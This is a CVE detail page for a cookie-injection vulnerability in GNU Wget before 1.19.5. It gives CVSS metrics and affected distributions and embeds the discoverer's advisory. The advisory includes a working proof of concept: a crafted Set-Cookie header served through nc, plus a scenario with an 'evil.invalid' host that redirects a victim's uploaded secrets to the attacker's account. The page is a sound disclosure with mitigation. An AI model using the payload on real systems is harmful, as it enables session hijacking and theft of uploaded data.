CVE-2018-0494 : Detail

CVE-2018-0494

6.5
/
MEDIUM
A03-Injection
10.69%V3
Network
2018-05-06 20:00 +00:00
2018-10-31 08:57 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

GNU Wget before 1.19.5 is prone to a cookie injection vulnerability in the resp_new function in http.c via a \r\n sequence in a continuation line.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metric Score Severity CVSS Vector Source
V3.0 6.5 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 44601

Publication date : 2018-05-05 22:00 +00:00
Author : Harry Sintonen
EDB Verified : No

GNU Wget Cookie Injection [CVE-2018-0494] ========================================= The latest version of this advisory is available at: https://sintonen.fi/advisories/gnu-wget-cookie-injection.txt Overview -------- GNU Wget is susceptible to a malicious web server injecting arbitrary cookies to the cookie jar file. Description ----------- Normally a website should not be able to set cookies for other domains. Due to insufficient input validation GNU Wget can be tricked into storing arbitrary cookie values to the cookie jar file, bypassing this security restriction. Impact ------ An external attacker is able to inject arbitrary cookie values cookie jar file, adding new or replacing existing cookie values. Details ------- The discovered vulnerability, described in more detail below, enables the attack described here in brief. 1. The attacker controlled web site sends a specially crafted Set-Cookie -header to inject a new authentication cookie for example.com, replacing the existing one. In order to be successful the victim must perform a wget operation on the attacker controller site, for example: wget --load-cookies jar.txt --save-cookies jar.txt https://evil.invalid 2. Victim uses wget to post some secret the the api.example.com: wget --load-cookies jar.txt --post-file secret.txt https://example.com/upload Since the attacker was able to replace the authentication cookie for example.com, the secret.txt data will be posted to attacker's account instead to that of the victim. Vulnerabilities --------------- 1. CWE-20: Improper Input Validation in Set-Cookie parsing [CVE-2018-0494] The cookie parsing implementation does too lax input validation when parsing the Set-Cookie response from the server. Consider the following malicious response: HTTP/1.1 200 OK Content-Length: 0 Set-Cookie: foo="bar .google.com TRUE / FALSE 1900000000 injected cookie ";expires=Thursday, 01-Jan-2032 08:00:00 GMT When parsed by Wget and stored to a cookie jar file it will appear as: # HTTP cookie file. # Generated by Wget on 2018-04-27 23:28:21. # Edit at your own risk. 127.0.0.1:7777 FALSE / FALSE 1956556800 foo "bar .google.com TRUE / FALSE 1900000000 injected cookie " Since the Wget cookie jar parser skips any leading spaces, the .google.com line will be picked up. Note: The order in which the hosts/domains are stored in the cookie jar is derived from the hashing function used to speed up the lookups. If an existing cookie is to be replaced the server hostname used to serve the Set-Cookie will need to be carefully chosen to result in hash entry below the targeted domain. If not done, the original cookie will be used instead of the injected one. Proof of Concept ---------------- 1. Set up a minimal web server, good for 1 request: $ echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nSet-Cookie: foo="bar\r\n\x20.google.com\tTRUE\t/\tFALSE\t1900000000\tinjected\tcookie\r\n\t";expires=Thursday, 01-Jan-2032 08:00:00 GMT\r\n\r\n' | nc -v -l 7777 2. Fetch the evil url: $ wget --save-cookies jar.txt http://127.0.0.1:7777/plop 3. Examine the resulting cookie jar file: $ cat jar.txt Vulnerable versions ------------------- The following GNU Wget versions are confirmed vulnerable: - 1.7 thru 1.19.4 Mitigation ---------- 1. Upgrade to GNU Wget 1.19.5 or later, or to appropriate security updated package in your distribution Credits ------- The vulnerability was discovered by Harry Sintonen / F-Secure Corporation. Timeline -------- 2018.04.26 discovered & reported the vulnerability 2018.04.27 CVE-2018-0494 assigned 2018.05.06 GNU Wget 1.19.5 released with the fix 2018.05.06 public disclosure of the advisory

Products Mentioned

Configuraton 0

Gnu>>Wget >> Version To (excluding) 1.19.5

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 17.10

Canonical>>Ubuntu_linux >> Version 18.04

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

References

https://access.redhat.com/errata/RHSA-2018:3052
Tags : vendor-advisory, x_refsource_REDHAT
https://security.gentoo.org/glsa/201806-01
Tags : vendor-advisory, x_refsource_GENTOO
https://www.debian.org/security/2018/dsa-4195
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securityfocus.com/bid/104129
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040838
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/44601/
Tags : exploit, x_refsource_EXPLOIT-DB
https://usn.ubuntu.com/3643-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3643-1/
Tags : vendor-advisory, x_refsource_UBUNTU
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.